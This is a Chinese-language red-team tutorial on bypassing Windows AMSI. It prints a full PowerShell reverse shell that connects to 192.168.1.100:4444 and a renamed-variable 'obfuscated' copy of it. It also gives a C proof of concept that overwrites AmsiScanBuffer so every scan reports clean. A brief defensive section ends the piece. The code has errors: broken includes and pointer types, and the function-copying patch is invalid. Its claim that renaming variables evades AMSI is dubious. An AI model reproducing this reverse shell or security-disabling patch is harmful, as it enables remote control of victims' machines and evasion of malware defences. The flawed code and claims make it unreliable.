一、AMSI是什么?从防守者的视角看问题
在很多安全产品中,AMSI(Antimalware Scan Interface)是一个相当重要的存在。作为微软在 Windows 系统中引入的一种防护机制,AMSI 的主要任务是拦截和检测恶意代码,尤其是脚本相关的攻击。无论是 PowerShell 脚本还是其他常见语言(如 VBScript 和 JScript),它们在运行时都会被 AMSI 拦截并交给反病毒引擎进行扫描。
理论上,AMSI 是一个强大的守门员。然而,从攻击者的角度来看,任何防御机制都意味着一个可以被绕过的挑战。对于红队来说,越过 AMSI 是执行后续攻击步骤的关键。
本节我们从 AMSI 的设计入手,分析其核心原理和可能的薄弱环节。只有深刻理解防守者的武器,我们才能找到精准的突破点。
---
二、AMSI的工作原理:防守的逻辑与攻击者的切入点

要想绕过 AMSI,首先需要理解它的运作机制。AMSI 的核心是通过 API 钩子拦截脚本的执行,将脚本内容以明文形式传递给反病毒引擎进行扫描。如果脚本中包含已知的恶意模式,AMS I会标记该脚本并阻止其执行。
核心机制
- 脚本拦截:当执行脚本时(如 PowerShell 脚本),AMSI 会通过 API 将脚本内容传递给反病毒引擎。
- 模式匹配:反病毒引擎对内容进行模式匹配,如果发现特征与已知恶意代码匹配,则阻断执行。
- 阻断与警告:被标记的脚本会被直接终止运行,用户通常会看到相应的安全警告。
攻击者的切入点
- 脚本内容的检测:AMSI 钩子会将脚本内容以明文传递,因此可以尝试对脚本内容进行混淆或加密,绕过 AMSI 的模式匹配。
- API 拦截点:AMSI 的核心拦截函数
AmsiScanBuffer是攻击者可以直接动手脚的地方。如果能修改或禁用这个函数,就可以绕过 AMSI 的检测逻辑。 - 内存加载:部分攻击者会选择完全绕过磁盘,将恶意代码加载到内存中运行,避免触发 AMSI。
接下来,我们将进入实际操作部分,复现如何绕过 AMSI 的检测。
---
三、攻破防线:多种 AMSI 绕过技术的实战演示
为了更有针对性,我们将分别从轻量级脚本混淆、中级调用劫持和高级内存修改几个层面进行 AMSI 绕过的演示。
环境准备
本次实验环境如下:
- 操作系统:Windows 10 (64-bit)
- 编程语言:Python 和 C
- 工具链:Visual Studio、PyInstaller、PowerShell
- 反病毒工具:Windows Defender(开启 AMSI 支持)
---
方法一:脚本混淆绕过(适合快速测试)
脚本混淆是最简单也是最广泛使用的绕过技术之一。AMSI 的检测依赖于简单的模式匹配,因此,通过对代码进行简单的混淆,我们可以有效绕过大部分基础防护。
演示代码
以下是一个会被 AMSI 检测到的 PowerShell 脚本示例:
<pre><code class="language-powershell"># 原始脚本:简单创建一个反向 shell $client = New-Object System.Net.Sockets.TCPClient("192.168.1.100",4444); $stream = $client.GetStream(); [byte[]]$buffer = 0..65535|%{0}; while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (pwd).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush(); } $client.Close();</code></pre>
运行上述代码时,AMSI 会立刻阻断。那么,如何绕过呢?我们可以通过以下混淆方式绕过:
<pre><code class="language-powershell"># 混淆后的脚本 $e=New-Object System.Net.Sockets.TCPClient("192.168.1.100",4444);$s=$e.GetStream();[byte[]]$b=0..65535|%{0}; while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+"PS "+(pwd).Path+"> ";$sb3=([System.Text.Encoding]::ASCII).GetBytes($sb2);$s.Write($sb3,0,$sb3.Length);$s.Flush();}$e.Close();</code></pre>
为什么混淆能绕过?
- 改变了关键词和函数的书写方式,破坏了 AMSI 的模式匹配规则。
- 对代码结构进行了简单的压缩,绕过了基于行文本分析的检测。
---
方法二:劫持 AMSI 的 API 调用
如果目标主机启用 AMSI,但我们有权限操作目标进程,可以直接对 AMSI 的核心 API 函数 AmsiScanBuffer 进行劫持,将其替换为一个空函数,使其失效。
POC 实现
以下是一个使用 C 语言实现的 API 劫持示例:
<pre><code class="language-c">#include <windows.h>
include <stdio.h>
typedef HRESULT(WINAPI AMSI_SCAN_BUFFER)( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT result );
HRESULT WINAPI HookedAmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT result ) { result = AMSI_RESULT_CLEAN; // 修改扫描结果为"干净" return S_OK; // 返回成功状态 }
void PatchAmsiScanBuffer() { HMODULE amsiModule = GetModuleHandleA("amsi.dll"); if (amsiModule == NULL) { printf("无法加载 amsi.dll!\n"); return; }
FARPROC originalFunc = GetProcAddress(amsiModule, "AmsiScanBuffer"); if (originalFunc == NULL) { printf("未找到 AmsiScanBuffer 函数!\n"); return; }
DWORD oldProtect; VirtualProtect(originalFunc, 1, PAGE_EXECUTE_READWRITE, &oldProtect); memcpy(originalFunc, HookedAmsiScanBuffer, sizeof(HookedAmsiScanBuffer)); VirtualProtect(originalFunc, 1, oldProtect, &oldProtect);
printf("成功 Hook AmsiScanBuffer!\n"); }
int main() { PatchAmsiScanBuffer(); return 0; }</code></pre>
运行效果: 此代码会直接替换 AMSI 的扫描结果,使所有脚本都被视为“清白无害”。运行后,即便加载恶意脚本,AMSI 也无法拦截。
---
方法三:直接修改 AMSI 的内存状态
高权限攻击者可以直接修改目标进程中的 AMSI 内存区域,将检测逻辑完全禁用。这种方式更加隐蔽,适合复杂场景下的持久化攻击链。

我们可以使用诸如 WriteProcessMemory 的方法直接修改 AMSI 内存区域。这一部分由于篇幅限制,可以在后续文章中深入探讨。
---

四、防守者视角:如何检测和防御这些绕过技术?
尽管本文重点在于攻击技术,但作为安全研究者,我们也需要了解如何检测和防御这些攻击行为。
防御建议
- 脚本混淆检测:通过启用高级脚本分析,尽可能检测混淆特征。
- API 调用监控:使用内存监控工具检查核心函数是否被修改。
- 内存完整性检查:定期对 AMSI 的内存区域进行校验,发现可疑修改后进行告警。
---

五、红队的思考与建议
对于红队来说,AMSI 绕过是一项基本技能,但不应滥用。真实场景下,针对 AMSI 的对抗往往需要结合其他免杀策略,实现多层次的隐蔽性。无论是代码混淆还是 API 劫持,攻击者最终的目的是达成目标,而不是与防御机制“较劲”。优秀的攻击者在技术上必须一丝不苟,同时也需要始终保持对目标环境的尊重。